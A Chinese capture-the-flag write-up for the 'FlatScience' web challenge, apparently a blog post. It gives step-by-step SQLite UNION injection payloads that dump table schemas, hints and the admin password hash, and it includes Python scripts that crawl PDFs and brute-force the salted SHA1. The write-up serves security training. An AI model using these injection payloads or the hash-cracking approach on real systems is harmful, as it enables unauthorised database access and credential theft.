攻防世界-web:FlatScience

题目描述

题目截图

解题过程

查看robots.txt


存在login.php,admin.php

dirsearch


访问login.php

查看源代码,发现提示信息

将?debug传递url,访问发现源代码

此时我们可以构造参数闭合sql语句

sql注入

sql:admin'--+
提交后发现没有报错,直接跳转到了主页面。
我们审查一下源代码:

发现这段代码是执行成功查询后,将查询结果保存在了cookie的name变量里了。
我们查看一下cookie

似乎并没有什么用啊
我们继续尝试sql注入
sql:admin' order by 1 --+

成功跳转

sql:admin' order by 2 --+
成功跳转

sql:admin' order by 3 --+

发现报错了,可以判断数据表有两列。
尝试union注入,注意用不存在的用户名进行注入,这里用admin1
sql:admin1' union select 1,2 --+

成功跳转,sql执行成功。
我们前面已经判断,sql会将结果存储在cookie的name里。所以我们查看cookie里name值。

结果为+2
也就是说我们前面sql:admin1' union select 1,2 --+ 里的2可以当作显示位。
我们尝试查看数据库名
我们知道我平时注入的一般为mysql数据库,当前数据库为SQLite3,它们的数据库结构肯定有所不同,常用函数也肯定有差异,所以这个时候需要去百度一下SQLite3如何去注入。

查看版本函数:sqlite_version()
我们去查看一下数据库版本
sql:admin1' union select 1,sqlite_version() --+

数据库版本为3.8.10.2

尝试获取表名
存储数据库信息的数据库(mysql的information_schema):sqlite_master
字段:name #表名
字段:sql #表结构,表的字段信息都在里面,初始化数据表的sql语句
sql:admin1' union select 1,name from sqlite_master limit 0,1 --+

数据表:users
sql:admin1' union select 1,sql from sqlite_master limit 0,1 --+

发现无结果,不知道啥原因。
sql:admin1' union select 1,sql from sqlite_master limit 1,1 --+

成功取出结果,具体什么原因,可能是不同数据库不了解。
我们将结果进行url解码。
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))
可以看出数据表Users 存在 id name password hint,四个字段,这个里面我们先看看hint字段。
sql:admin1' union select 1,hint from Users limit 0,1 --+
得到:my fav word in my fav paper?!
sql:admin1' union select 1,hint from Users limit 1,1 --+
得到:my love is…?
sql:admin1' union select 1,hint from Users limit 2,1 --+
得到:the password is password
取password
sql:admin1' union select 1,password from Users where name='admin' limit 0,1 --+

得到admin的password的sha1值为:3fab54a50e770d830c0416df817567662a9dc85c
这道题做到这里就不知到怎么继续了...
查看他人的解题,思路大概是这样的,admin账户的密码为一个单词,这个单词就在网站的某个pdf文件里,登录进去就能拿到flag。

所以解题思路来了

解题思路

1.爬取所有的pdf文件
2.提取所有pdf文件的单词
3.将单词进行加盐的sha1加密
4.与数据库中admin的sha1密码进行匹配
5.拿到密码登录admin系统

开始解题

爬取PDF文件

我不会自动爬取所有pdf文件,但是可以半自动爬取。
找出所有存在pdf的页面为:
http://124.126.19.106:30116/1/index.html
http://124.126.19.106:30116/1/2/index.html
http://124.126.19.106:30116/1/3/index.html
http://124.126.19.106:30116/1/3/6/index.html
http://124.126.19.106:30116/1/3/7/index.html
http://124.126.19.106:30116/1/2/4/index.html
http://124.126.19.106:30116/1/2/5/index.html
http://124.126.19.106:30116/1/3/7/8/index.html

python代码:

#coding:utf8
import requests
import re
import time


pdflist = []
urllist = ['http://124.126.19.106:30116/1/index.html','http://124.126.19.106:30116/1/2/index.html','http://124.126.19.106:30116/1/3/index.html','http://124.126.19.106:30116/1/3/6/index.html','http://124.126.19.106:30116/1/3/7/index.html','http://124.126.19.106:30116/1/2/4/index.html','http://124.126.19.106:30116/1/2/5/index.html','http://124.126.19.106:30116/1/3/7/8/index.html']
def gethtml(url):
	return requests.get(url).text

def getpdf(part,data):
	list = re.findall('href="(.+?)"',data)
	for i in list:
		if 'pdf' in i:
			pdflist.append(part+i)
def downfile(name,url):
	data = requests.get(url).content
	f    = open(name,'wb')
	f.write(data)
	f.close()
	print url,'\t','DOWN OK!'
name = 0
for url in urllist:
	part = url.replace('index.html','')
	getpdf(part,gethtml(url))
	time.sleep(0.3)
for i in pdflist:
	downfile(str(name)+'.pdf',i)
	time.sleep(0.3)
	name+=1
print 'ok'

执行python下载pdf文件

PDF转TXT

接下来就是提取pdf里的文本信息了,我在网上找了一个pdf转txt的工具:pdftotext.exe,这个工具可以通过命令行把pdf转txt文件,由于文件相对较多,可以通过python多线程来执行,当然也可以直接手动转换。

zhuan.py
#coding:utf8
import os
import time
import threading


def thread(cmd):
	os.system(cmd)

tsk=[]
for i in range(0,32):
	filename = str(i)+'.pdf'
	cmd = "pdftotext.exe %s"%(filename)
	t = threading.Thread(target=thread,args=(cmd,)) 
	tsk.append(t) 
for t in tsk:
	t.start()

运行时需要脚本下载好的pdf文件、pdftotext.exe在同一目录下。

提取单词爆破密码

po.py

#coding:utf8
import hashlib
import base64
def tiqu(filename):
	f = open(filename,'r')
	d = f.read()
	f.close()
	k = d.split(' ')
	n = []
	for i in k:
		i = i.replace(' ','')
		if i!='':
			n.append(i)
	return n

def sha(word):
	hexstr = hashlib.sha1(word+'Salz!').hexdigest()
	if '3fab54a50e770d830c0416df817567662a9dc85c' == hexstr:
		print '***********',word,'***********'
		exit()

for i in range(0,32):
	n = tiqu(str(i)+'.txt')
	for k in n:
		sha(k)
		print '--','\t',base64.b64encode(k)

运行时需跟生成的txt文件在同一目录

爆破密码为:ThinJerboa

在admin.php里登录

得到flag:flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

总结

这个题难度挺大,很繁琐,对人员的编程能力有着极大的挑战。遇到这种题,不应该全部都用代码来解决,能手动处理的应该手动处理,有些功能自己不会python的可以到网上找替代工具,再利用简单的python代码同样可以实现牛逼的功能。就是把大问题切割成小问题,然后一步步解决。

posted @ 2020-05-07 16:32  顺时针--+  阅读(1094)  评论(1编辑  收藏  举报